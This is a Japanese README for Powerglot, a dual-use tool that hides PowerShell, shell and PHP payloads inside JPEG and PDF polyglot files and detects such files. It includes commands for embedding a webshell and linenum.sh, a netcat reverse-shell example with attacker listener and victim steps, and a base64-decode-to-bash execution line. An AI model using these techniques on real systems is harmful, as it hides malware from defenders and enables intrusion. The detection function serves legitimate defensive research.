Powerglotは、ポリグロットを使用して、例えば攻撃的なPowerShellスクリプトなど、数種類のスクリプトをエンコードします。ペイロードを実行するためにローダーは必要ありません。
レッドチーム演習や攻撃タスクでは、ペイロードのマスキングには通常、ステガノグラフィが使用されます。特にネットワークレベルの防御を回避するために用いられ、PowerShellで開発された最も一般的なペイロードスクリプトの1つです。最近のマルウェアやAPTは、これらの機能の一部を利用しています:APT32、APT37、Ursnif、Powload、LightNeuron/Turla、Platinum APT、Waterbug/Turla、Lokibot、The dukes(オペレーションGhost)、Titaniumなど。
Powerglotは、ポリグロットに基づく多機能かつマルチプラットフォームの攻防ツールです。Powerglotは、スクリプト(PowerShell、シェルスクリプト、PHPなど)を主にデジタル画像にマスクすることができます。他のファイル形式も開発中です。通常の攻撃ツールやマルウェアとは異なり、Powerglotは「隠された情報」を実行するためにローダーを必要とせず、ターゲットシステム上のノイズを最小限に抑えます。
PowerGlotは攻撃タスクにおいて明確な有用性を持ちますが、発見およびブルーチームツールとしても定義されています。我々の知る限り、ポリグロットでマスクされた情報の存在を検索できる最初の汎用的で完全なオープンソースツールであり、その情報はシステムへの永続化やマルウェアの隠蔽(ステゴマルウェア、権限昇格、横移動、リバースシェルなど)に有用です。
機能:
PowerShell/シェルスクリプト/PHPなどをポリグロット画像にエンコード。隠された情報(ペイロード)を回復・実行するためにローダーは不要。PowerGlotは複数のフォーマットで動作。主にJPEGおよびPDF形式。他のフォーマットは開発中。
Powerglotは、(悪意のある)ポリグロットを検出するための完全なオープンソースツールであり、特にTruepolyglotやstegoSploitなどの公開ツールの結果を対象としています。複数のフォーマットに対応:JPEG、PNG、GIF、BMP、ZIP、PDF、MP3など。
# git clone https://github.com/mindcrypt/powerglot
# python3 powerglot
Powerglotを使用してポリグロットでペイロードを隠す例
# 例1 - JPEG画像にPowerShell/PHP/シェルスクリプトを隠す
# python3 powerglot.py -o payload.ps1 cat.jpg cat-hidden1.jpg
# python3 powerglot.py -o webshell.php cat.jpg cat-hidden2.jpg
# python3 powerglot.py -o shell.sh cat.jpg cat-hidden3.jpg
# 例2 - 権限昇格用のシェルスクリプト(linenum.sh)をJPEG画像に「隠し」込む
# python3 powerglot.py -o linenum.sh cat.jpg cat-linenum.jpg
# file cat-linenum.jpg (有効なJPEGファイルです)
# feh cat-lineum.jpg (画像は画像ビューアで正しく表示されます)
# スクリプトは以下の方法で実行できます:
a) cat cat-linenum | bash
b) chmod +x cat-linenum.jpeg; ./cat-linenum.jpeg
# 例3 - JPEG画像にnetcatを使ったカバーチャンネルを隠す
# 攻撃者
# echo "nc 127.0.0.1 4444" > netcat.sh
# python3 powerglot.py -o netcat.sh cat.jpeg cat-netcat.jpeg
# nc -nvlp 4444
# 被害者
# chmod +x cat-netcat.jpg | ./cat-netcat.jpg

# 例4 - PDF内のポリグロット(例:linenum.sh)
# お気に入りのペイロードでb64.shを作成
base64 Linenum.sh -w 0 > b64.sh
# b64.shを編集
echo "code in b64.sh" | base64 -d | bash;
# python3 powerglot -o b64.sh sample.pdf test.pdf
# file test.pdf
# xpdf test.pdf
# ペイロードを実行
# cat test.pdf | bash または chmod +x test.pdf; ./test.pdf
# 例5 - JPEG内のPowerShell(ポリグロット)
# python3 powerglot.py -o script.ps1 cat.jpeg cat-ps.jpeg
# file cat-ps.jpeg
# feh cat-ps.jpeg
# ペイロードを実行(例)
# cat cat-ps.jpeg | pwsh
PS /home/alfonso/PowerGlot/POWERSHELL> get-process;<#hola <# mundo#>
NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName
------ ----- ----- ------ -- -- -----------
0 0,00 2,70 0,00 830 829 (sd-pam)
0 0,00 0,00 0,00 75 0 acpi_thermal_pm
0 0,00 4,80 0,00 1217 854 agent
0 0,00 1,70 0,00 748 748 agetty
0 0,00 40,77 1,01 1198 854 applet.py
0 0,00 6,29 0,00 938 938 at-spi-bus-launcher
0 0,00 6,61 5,64 953 938 at-spi2-registryd
0 0,00 0,00 0,00 131 0 ata_sff
0 0,00 1,77 0,00 8906 …78 atom
0 0,00 218,81 585,95 8908 …78 atom
0 0,00 236,18 176,24 8947 …78 atom
0 0,00 142,14 2,51 9009 …78 atom
0 0,00 81,54 3,32 8932 …78 atom --type=gpu-process --enable-features=SharedArrayBuffer -…
0 0,00 39,44 0,01 8910 …78 atom --type=zygote --no-sandbox
0 0,00 5,62 0,11 1370 …70 bash
0 0,00 5,36 0,66 5278 …78 bash
0 0,00 6,34 1,48 6778 …78 bash
0 0,00 0,00 0,00 68 0 blkcg_punt_bio
0 0,00 46,73 2,20 1199 854 blueman-applet
0 0,00 50,25 1,64 1301 854 blueman-tray
ファイルシステム内のポリグロットを検出する例
#python3 powerglot.py -d ./
--= [Detecting polyglots] --=
..............................................................
[Suspicious file]-[ ./cat-end-extra2.jpg ]..
[Suspicious file]-[ ./cat-end-extra3.jpg ][Polyglot Stegosploit][EOF Signature: */ -->]
.................................................................................
[Suspicious file]-[ ./cat-end-extra1.jpg ]..
このプロジェクトは、Dr. Alfonso Muñoz と Abraham Pasamar によって開発されました。コードはGNU General Public License v3の下で公開されています。